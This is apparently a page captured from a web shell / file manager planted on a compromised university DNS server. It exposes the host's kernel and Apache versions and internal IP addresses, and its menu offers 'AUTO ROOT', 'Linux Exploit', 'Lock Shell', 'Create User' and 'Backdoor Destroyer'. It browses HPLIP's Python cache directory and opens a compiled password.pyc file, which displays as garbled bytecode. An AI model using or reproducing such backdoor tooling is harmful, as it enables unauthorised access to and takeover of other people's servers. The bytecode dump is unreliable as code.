Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
hplip /
base /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
avahi.cpython-310.pyc
1.53
KB
-rw-r--r--
codes.cpython-310.pyc
20.58
KB
-rw-r--r--
device.cpython-310.pyc
58.31
KB
-rw-r--r--
dime.cpython-310.pyc
2.27
KB
-rw-r--r--
exif.cpython-310.pyc
21.46
KB
-rw-r--r--
g.cpython-310.pyc
11.89
KB
-rw-r--r--
imageprocessing.cpython-310.pyc
22.05
KB
-rw-r--r--
imagesize.cpython-310.pyc
3.94
KB
-rw-r--r--
__init__.cpython-310.pyc
171
B
-rw-r--r--
ldif.cpython-310.pyc
13.46
KB
-rw-r--r--
LedmWifi.cpython-310.pyc
19.31
KB
-rw-r--r--
local.cpython-310.pyc
1.34
KB
-rw-r--r--
logger.cpython-310.pyc
11.54
KB
-rw-r--r--
magic.cpython-310.pyc
60.8
KB
-rw-r--r--
maint.cpython-310.pyc
36.84
KB
-rw-r--r--
mdns.cpython-310.pyc
6.58
KB
-rw-r--r--
mfpdtf.cpython-310.pyc
6.38
KB
-rw-r--r--
models.cpython-310.pyc
11.33
KB
-rw-r--r--
module.cpython-310.pyc
14.12
KB
-rw-r--r--
os_utils.cpython-310.pyc
1.53
KB
-rw-r--r--
password.cpython-310.pyc
8.26
KB
-rw-r--r--
pkit.cpython-310.pyc
8.9
KB
-rw-r--r--
pml.cpython-310.pyc
19.87
KB
-rw-r--r--
queues.cpython-310.pyc
9.33
KB
-rw-r--r--
services.cpython-310.pyc
6.42
KB
-rw-r--r--
six.cpython-310.pyc
17.52
KB
-rw-r--r--
sixext.cpython-310.pyc
5.66
KB
-rw-r--r--
slp.cpython-310.pyc
3.79
KB
-rw-r--r--
smart_install.cpython-310.pyc
6.35
KB
-rw-r--r--
status.cpython-310.pyc
36.31
KB
-rw-r--r--
strings.cpython-310.pyc
23.76
KB
-rw-r--r--
tui.cpython-310.pyc
10.15
KB
-rw-r--r--
utils.cpython-310.pyc
60.55
KB
-rw-r--r--
validation.cpython-310.pyc
3.16
KB
-rw-r--r--
vcard.cpython-310.pyc
28.54
KB
-rw-r--r--
wifi.cpython-310.pyc
15.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : password.cpython-310.pyc
o �/�a4 � @ s d dl Z d dlZd dlZd dlZddlmZmZ ddlT ddlm Z m Z ddlmZ ddlm Z dZi d d �dd �dd �d d �dd �dd�dd �dd �dd �dd �dd �dd�dd �dd �dd �dd �dd �d d dddd d ddddd d dd��Zdd� Zdd � ZG d!d"� d"e�ZdS )#� N� )�utils�tui)�*)�BytesIO�StringIO)�input)�pexpect� �mepis�su�debian�suse�mandriva�fedora�fedora28�sudo�redhat�rhel� slackware�gentoo�redflag�ubuntu�xandros�freebsd�linspire�ark� pclinuxos)�centos�igos� linuxmint�linpus�gos�boss�lfs�manjarolinux�uos�zorinos�zorinzdebiangnu/linux�mxlinux�elementaryosc C s@ dd l }td� td� tt�| �� td�}|� d�}||fS )Nr � z Username: z Password: )�getpass�print�log�boldr )�promptr, �username�password� r3 �!/usr/share/hplip/base/password.py�showPasswordPromptF s r5 c C s dd l } | jdd�d S )Nr F)�full_distribution_name)�distro�linux_distribution)r7 r3 r3 r4 �get_distro_nameR s r9 c @ s� e Zd Zefdd�Zdd� Zdd� Zdd� Zd$d d�Zd%d d�Z d&dd�Z dd� Zdd� Zdd� Z dd� Zdd� Zdd� Zd'dd �Zd!d"� Zd#S )(�Passwordc C s> d| _ d| _d| _|| _| �� g | _t�t� ddd��s5t�t� ddd��r5t�t� ddd��r5d| _ nCt�t� ddd��sWt�t� ddd��sWt�t� ddd��rWd| _ n!t�t� ddd��sxt�t� ddd��sxt�t� ddd��rxd| _ tjD ]!}z t� |tj�}W n ty� | j�|� Y q{w | j�|� q{d S )Nr+ F� configure�qt5�0�qt4�qt3)�_Password__password�_Password__password_prompt_str�_Password__passwordValidated�_Password__mode�_Password__readAuthType�_Password__expectListr �to_bool�sys_conf�get�_Password__ui_toolkit�EXPECT_WORD_LIST�re�compile�I� TypeError�append)�self�Mode�s�pr3 r3 r4 �__init__Y s( <<< ��zPassword.__init__c C s� t � �� �dd�}t�ddd�| _| jdkro| jdkrqz?t| | _|dkrUdd l}z t|� � d �}W n t yH dd l}t|�� d �}Y nw |d krXtd | _W d S W d S W d S t yn t�d| � d| _Y d S w d S d S ) N� r+ �authentication�su_sudor r r r r � r z$%s distro is not found in AUTH_TYPES)r9 �lower�replace� user_confrH �_Password__authType� AUTH_TYPES�platform�int�dist�AttributeErrorr7 r8 �KeyErrorr. �warn)rP �distro_namer^ �verr7 r3 r3 r4 �__readAuthTyper s, ����zPassword.__readAuthTypec C s | j dkrdS dt�d� S )Nr �*Please enter the root/superuser password: �)Please enter the sudoer (%s)'s password: �USER)r\ �os�getenv�rP r3 r3 r4 �__getPasswordDisplayString� s z#Password.__getPasswordDisplayStringc C s, | j dkr d| _ nd| _ t�dd| j � d S )Nr r rV rW )r\ r[ �setrl r3 r3 r4 �__changeAuthType� s zPassword.__changeAuthTyper+ c C s6 |dkr| j dkrd}ndt�d� }t�t�|��S )Nr+ r rg rh ri )r\ rj rk r, r. r/ )rP �pswd_msgr3 r3 r4 �__get_password� s �zPassword.__get_password�rootc C s� |dkrd}| j dkrddlm} |||d�\}}n"| j dkr.ddlm} |||d�\}}nddlm} |||d�\}}|dkrH|dkrHtd��|S ) Nr+ ziYour HP Device requires to install HP proprietary plugin Please enter root/superuser password to continuer? r )�showPasswordUIFr<